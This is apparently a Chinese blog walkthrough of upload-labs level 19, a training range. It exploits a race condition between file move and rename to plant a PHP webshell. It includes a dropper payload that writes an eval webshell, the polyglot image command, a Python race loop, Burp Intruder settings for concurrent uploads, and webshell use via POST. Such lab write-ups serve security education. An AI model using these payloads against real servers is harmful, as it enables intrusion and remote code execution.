当前位置: 首页 > news >正文

upload-labs通关笔记-第19关文件上传之条件竞争

目录

一、条件竞争

二、源码分析

1、源码分析

2、攻击原理

3、渗透思路

 三、实战渗透

1、构造脚本

2、制作图片马

3、获取上传脚本URL

4、构造访问母狼脚本的Python代码

5、bp不断并发上传母狼图片马

(1)开启专业版bp

(2) 上传母狼脚本发送到intruder

(3)配置intruder位置

6、python脚本执行文件包含访问母狼图片马

7、访问小狼脚本 


本文通过《upload-labs通关笔记-第19关文件上传之条件竞争》系列。文件上传条件竞争是一种在文件上传过程中利用并发操作导致的时间差来绕过安全限制的攻击方式,本节与18关不同之处是本关卡只能上传如下所示的白名单格式文件,以上传gif、jpg或者png格式的图片为例,需要利用文件包含访问图片马实现文件上传来渗透,实现条件竞争绕过渗透实战。

".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",
".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png"

一、条件竞争

文件上传之条件竞争原理是利用服务器在处理多个文件上传请求时的时间差,从而绕过安全检查或实现恶意目的,其基本工作原理如下所示。

(1)正常上传流程

  • 接收文件:服务器接收用户上传的文件,并将其存储在临时目录中。
  • 检查文件:服务器对文件进行各种检查,如文件类型、文件大小、文件内容等,以确保文件符合安全要求。
  • 保存文件:如果文件通过检查,服务器将其保存到指定的目录中。

(2)产生原因

  • 并发处理:服务器可能同时处理多个文件上传请求,这些请求可能在不同的线程或进程中执行。
  • 异步操作:某些操作可能是异步进行的,例如文件的检查和保存操作可能在不同的时间点完成。
  • 时间差:由于并发处理和异步操作,不同请求之间的操作可能存在时间差,这就为攻击者提供了利用的机会。

二、源码分析

1、源码分析

打开靶场第19关,查看源码,分析可知文件上传的处理流程是符合白名单的文件先被传到服务器,然后再重命名该文件。很明显代码存在条件竞争风险,主要原因在于文件移动和文件重命名这两个操作不是原子操作,中间存在时间间隔,攻击者可以利用这个时间间隔进行攻击。详细注释后的代码如下所示。 

// index.php
// 初始化变量,$is_upload 用于标记文件是否成功上传,初始值为 false 表示未成功上传
$is_upload = false;
// 初始化变量,$msg 用于存储上传过程中的提示信息,初始值为 null 表示暂无提示信息
$msg = null;
// 检查是否通过 POST 方式提交了名为'submit'的表单元素,若提交则意味着用户发起了文件上传操作
if (isset($_POST['submit'])) {// 引入自定义的文件上传类所在的文件 myupload.php,以便使用其中定义的类和方法require_once("./myupload.php");// 使用当前时间戳生成一个文件名的基础部分$imgFileName = time();// 创建 MyUpload 类的实例,传入上传文件的原始文件名、临时文件名、文件大小以及生成的文件名基础部分$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'], $imgFileName);// 调用 MyUpload 类实例的 upload 方法,传入上传目标目录 UPLOAD_PATH,并获取上传操作的状态码$status_code = $u->upload(UPLOAD_PATH);// 根据获取到的状态码进行不同的处理,并设置相应的提示信息或标记上传状态switch ($status_code) {case 1:// 上传成功,将 $is_upload 设置为 true 表示文件已成功上传$is_upload = true;// 拼接上传文件在服务器上的完整路径,包括上传目录和重命名后的文件名$img_path = $u->cls_upload_dir. $u->cls_file_rename_to;break;case 2:// 文件已上传但未重命名,设置相应的提示信息$msg = '文件已经被上传,但没有重命名。';break;case -1:// 文件无法上传到服务器的临时文件存储目录,设置相应提示信息$msg = '这个文件不能上传到服务器的临时文件存储目录。';break;case -2:// 上传目录不可写,导致上传失败,设置相应提示信息$msg = '上传失败,上传目录不可写。';break;case -3:// 上传的文件类型不符合要求,设置相应提示信息$msg = '上传失败,无法上传该类型文件。';break;case -4:// 上传的文件过大,设置相应提示信息$msg = '上传失败,上传的文件过大。';break;case -5:// 服务器已存在相同名称的文件,设置相应提示信息$msg = '上传失败,服务器已经存在相同名称文件。';break;case -6:// 文件无法复制到目标目录,导致上传失败,设置相应提示信息$msg = '文件无法上传,文件不能复制到目标目录。';break;default:// 遇到未知错误,设置相应提示信息$msg = '未知错误!';break;}
}// myupload.php
class MyUpload {..................// 定义一个数组,存储允许上传的文件扩展名var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z", ".ppt",".html", ".xml", ".tiff", ".jpeg", ".png");................../*** upload() 方法* 用于执行文件上传操作的方法,是外部调用该类时唯一需要调用的方法* @param string $dir 要上传到的目标目录名称* @return void*/function upload($dir) {// 检查文件是否成功上传到服务器的临时目录,获取检查结果$ret = $this->isUploadedFile();// 如果检查结果不为 1(即上传到临时目录失败),返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 设置文件上传的目标目录,获取设置结果$ret = $this->setDir($dir);// 如果设置目标目录失败,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 检查上传文件的扩展名是否在允许的扩展名数组中,获取检查结果$ret = $this->checkExtension();// 如果扩展名检查不通过,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 检查上传文件的大小是否符合要求,获取检查结果$ret = $this->checkSize();// 如果文件大小检查不通过,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 如果检查文件是否存在的标志位设置为 1if ($this->cls_file_exists == 1) {// 检查目标目录中是否已存在同名文件,获取检查结果$ret = $this->checkFileExists();// 如果已存在同名文件,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}}// 如果执行到这里,说明文件已准备好移动到目标目录$ret = $this->move();// 如果移动文件失败,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}// 检查是否需要对文件进行重命名操作if ($this->cls_rename_file == 1) {// 执行文件重命名操作,获取操作结果$ret = $this->renameFile();// 如果重命名操作失败,返回相应的错误状态码if ($ret!= 1) {return $this->resultUpload($ret);}}// 如果执行到这里,说明所有操作都按计划成功完成return $this->resultUpload("SUCCESS");}..................
}

upload 函数是用于执行文件上传操作的核心方法,整合了多个步骤来完成文件上传流程,并根据每个步骤的执行结果返回相应的状态码。具体如下所示

  • 调用 isUploadedFile 函数检查文件是否成功上传到服务器的临时目录。若检查失败,返回相应错误状态码。
  • 调用 setDir 函数设置文件上传的目标目录。若设置失败,返回相应错误状态码。
  • 调用 checkExtension 函数检查上传文件的扩展名是否在允许的白名单扩展名数组中($cls_arr_ext_accepted)中。若扩展名检查不通过,返回相应错误状态码。
  • 调用 checkSize 函数检查上传文件的大小是否符合要求。若文件大小检查不通过,返回相应错误状态码。
  • 当 $cls_file_exists 标志位为 1 时,调用 checkFileExists 函数检查目标目录中是否已存在同名文件。若已存在同名文件,返回相应错误状态码。
  • 调用 move 函数将文件从临时目录移动到目标目录。若移动文件失败,返回相应错误状态码。
  • 当 $cls_rename_file 标志位为 1 时,调用 renameFile 函数对文件进行重命名操作。若重命名操作失败,返回相应错误状态码。
  • 如果所有步骤都成功执行,返回表示成功的状态码。

这里涉及到条件竞争的部分主要是因为按照先进行文件存储,然后修改文件名操作,如下所示。

    $ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret );    }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret );    }}

2、攻击原理

根据源码可知本关卡服务器的处理流程有条件竞争风险,存在条件竞争的具体原因下所示。

  • 操作步骤分离且无原子性保障:在文件上传的流程中,移动文件(move)和重命名文件(renameFile)这两个关键操作是分开执行的。当有多个用户并发上传文件时,可能会出现以下情况:一个用户上传的文件先通过移动文件(move)存储到服务器目录,然后再通过了重命名renameFile对上传文件进行重命名处理,但在执行move操作之后并且在命名renameFile之前,如果利用文件包含对上传成功的图片马执行脚本,可以存储的文件执行破坏了文件上传的正常逻辑。
  • 缺乏并发控制机制:代码中没有针对并发上传情况的有效控制措施。在高并发场景下,多个上传请求可能同时进入不同的检查和操作阶段,由于没有对这些并发操作进行同步或加锁处理,使得文件上传的整个过程缺乏原子性,攻击者可以利用这种时间差,精心构造并发请求,绕过原本的安全检查机制,实现恶意文件的上传或其他恶意目的。例如,攻击者可以在短时间内多次上传文件,利用检查和移动操作之间的时间间隙,利用文件包含访问图片马来执行脚本。

3、渗透思路

(1)选择文件类型

本关卡与18关第一个不同之处是checkExtension 函数的处理,也就是说符合白名单的文件才能进行存储,故而这就限制了上传文件的后缀类型必须是如下之一。

".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",
".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png"

这部分只有jpg、png和gif可以通过制作图片马,再结合文件包含访问执行脚本。故而我们可以通过制作图片马进行上传。 

(2)利用文件包含访问图片马

在上传图片马的时候,由于服务器的处理是先按照原名存储,然后再被改为随机命名,当文件名称被修改后就无法继续访问原始图片马了。正是因为先存储后改名这之前的时间差可以利用,故而存在条件竞争风险。

我们通过利用上传到服务器和文件被重命名之间的时间差来进行渗透,即攻击者上传一个包含恶意代码的图片马文件(我们称之为母狼图片马),服务器将其移动到目标目录。在服务器进行文件类型检查并重命名之前,攻击者通过利用文件包含访问母狼图片马生成一个新的脚本(我们称之为小狼脚本),这样在后续的扩展名检查中,虽然母狼图片马因为被重命名无法访问到,但是小狼脚本却没有被检查而存储在服务器中被认为是合法文件,从而绕过了安全检查,这样我们访问小狼脚本恶意代码就有可能被执行。

  • 上传恶意文件:攻击者上传一个恶意文件(母狼图片马),该文件包含恶意代码。
  • 并发请求:攻击者同时发送同一母狼图片马的多个并发上传请求。
  • 利用时间差:服务器对图片的处理流程是先保存图片然后再进行重命名。由于服务器的并发处理和异步操作,攻击者利用这个时间差,在图片马通过检查后但还未被重命名之前,迅速利用文件包含访问图片马的脚本生成小狼脚本。
  • 绕过安全检查:由于小狼脚本是利用文件包含访问母狼图片马生产的,从而绕过了安全检查。
  • 执行恶意代码:一旦小狼脚本被保存到服务器上,攻击者就可以通过访问该文件来执行恶意代码,从而获取服务器的控制权或进行其他恶意操作。

总结起来就是上传木马1(母狼)成功,木马1(母狼)还没被删掉的时间差过程中,成功访问木马文1(母狼)。这个木马文件1(母狼)的特点是可以生成一句话小木马2(小狼),如果在时间差内访问成功上传的这个木1(母狼),即可生成一句话小木马2(小狼)。这样不断地并发上传母狼脚本,接下来不断地并发访问母狼脚本,由于服务器是先存储母狼脚本然后检查母狼的合法性再杀掉,只要利用时间差在服务器杀死母狼之前让母狼脚本可以生成小狼脚本,即可通过访问小狼脚本实现渗透

 三、实战渗透

1、修改源码

当前本关卡有bug,需要修改myupload.php文件,文件位置如下所示。

原本function setDir( $dir )中设置目录的函数错误,如下所示。

$this->cls_upload_dir = $dir;

需要将function setDir( $dir )这个函数中cls_upload_dir 的修改为如下内容。

$this->cls_upload_dir = $dir."/";

修改之后上传的文件都会到upload文件夹里,修改后如下所示。

2、构造脚本

构造文件上传的shell脚本(脚本1,母狼,命名为ljn_shell.php),内容为post马。脚本内容如下所示。

<?php fputs(fopen('ljn_post.php','w'),'<?php @eval($_POST[ljn]);?>');?>

 此函数用于写入或创建一个名为 ljn_post.php 的文件(脚本2,小狼)。如果文件不存在,将会创建一个名为ljn_post.php新的文件,脚本内容如下所示。

    <?php @eval($_POST[ljn]);?>

    3、制作图片马

    使用如下命令生成图片马ljn_pass19.png(母狼图片马)。

    copy ljn_pass19_orig.png /b + ljn_shell.php ljn_pass19.png

    4、获取上传脚本URL

    对于上传到服务器的母狼图片马ljn_pass19.png,相关源码处理如下所示。

        // 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {}

    分析可知文件上传到服务器的URL根据如下代码决定,由upload目录与文件名拼接。

    upload_file = UPLOAD_PATH . '/' . $file_name

    根据源码可知$file_name为上传文件名,假如要传的图片马为ljn_pass19.png,那么存储在upload/目录下,那么母狼脚本1的URL链接地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_pass19.png

    文件包含的网址如下所示。

    http://127.0.0.1/upload-labs/include.php

    故而结合文件包含访问母狼图片马的URL地址应该如下所示。

    http://127.0.0.1/upload-labs/include.php?file=upload/ljn_pass19.png

    同理,母狼ljn_pass19.png结合文件包含访问生成的小狼脚本ljn_post.php生成在同一目录,故而小狼脚本文件的完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    5、构造访问母狼脚本的Python代码

    这段代码的功能是不断利用文件包含的并发访问母狼图片马ljn_pass19.png,希望可以利用时间差在服务器检查后缀判断其不在白名单删除母狼前,使得母狼脚本ljn_pass19.png可以通过文件包含访问图片马成功执行生成小狼脚本ljn_post.php。

    import requestsurl = "http://127.0.0.1/upload-labs/include.php?file=upload/ljn_pass19.png"
    while True:html = requests.get(url)if html.status_code == 200:# 获取页面内容page_content = html.text# 检查页面内容中是否包含字符串 "failed"if 'failed' in page_content:print("NO")#打印可以降速passelse:print("OK")break

    6、bp不断并发上传母狼图片马

    (1)开启专业版bp

    浏览器开启代理,burpsuite(注意要选用专业版)打开拦截功能。

    (2) 上传母狼脚本发送到intruder

    点击上传后报文被bp拦截,右键发送到intruder,如下所示。

    (3)配置intruder位置

    • 1)Position部分:选择sniper狙击手模式并清除所有载荷
    • 2)Payload部分:有效载荷中选择1,没有负载,以及无限期重复,如下图所示
    • 3)资源池部分:可以选择默认,也可以自己配置线程数以及间隔时间
    • 在intruder里面,选择resource pool下面有个create new source pool可以重新设置线程数,我们勾选maximum concurrent requests,并且进行参数的设置,这里我选择了10个线程,大家可以根据自己机器的配置进行设置。
    • 4)配置完毕后点击-开始攻击

    攻击后的效果如下所示。

    7、python脚本执行文件包含访问母狼图片马

    运行执行3.3的python脚本,看到ok说明渗透成功效果如下所示。

    此时说明渗透成功,母狼脚本访问成功,生成了小狼脚本ljn_post.php。此时关闭bp的intruder停止爆破,具体方法如下所示。

    8、访问小狼脚本 

    上传到服务器的母狼脚本访问成功,生成了小狼脚本ljn_post.php,完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    POST参数设置进行如下code设置,如下图所示渗透成功。

    ljn=phpinfo();

     

    相关文章:

  1. Fastjson利用链JdbcRowSetImpl分析
  2. 多维数据助力企业网络安全
  3. 2025年最新基于Vue基础项目Todolist任务编辑器【适合新手入手】【有这一片足够了】【附源码】
  4. 基于 SpringBoot + Vue 的海滨体育馆管理系统设计与实现
  5. Gmsh 代码深度解析与应用实例
  6. 【数据架构04】数据湖架构篇
  7. PCIe学习笔记(3)链路初始化和训练
  8. 如何制作令人印象深刻的UI设计?
  9. socc 19 echash论文部分解读
  10. debian搭建ceph记录(接入libvirt)
  11. 了解Android studio 初学者零基础推荐(3)
  12. 行贿罪案件(公安侦查阶段)询问笔录发问提纲
  13. 高校外卖小程序,怎么落地实践?
  14. Java内存管理:堆和栈的概念和运行原理
  15. JavaScript关键字完全解析:从入门到精通
  16. Oracle查看SQL执行计划的方法
  17. 深入理解SummaryWriter类与TensorBoard的基本使用
  18. 数据结构 -- 交换排序(冒泡排序和快速排序)
  19. ES6 哈希数据结构
  20. OceanBase 共享存储:云原生数据库的存储
  21. 怎样做购物网站/免费做网站推广的软件
  22. 聊城做网站的公司/无锡百度信息流
  23. 蔡甸建设局网站/淘宝优化关键词的步骤
  24. 做机械设计图纸找什么网站?/上海优化公司排行榜
  25. 襄阳市建设公司网站/seo营销推广公司
  26. 网站建设语言/在线排名优化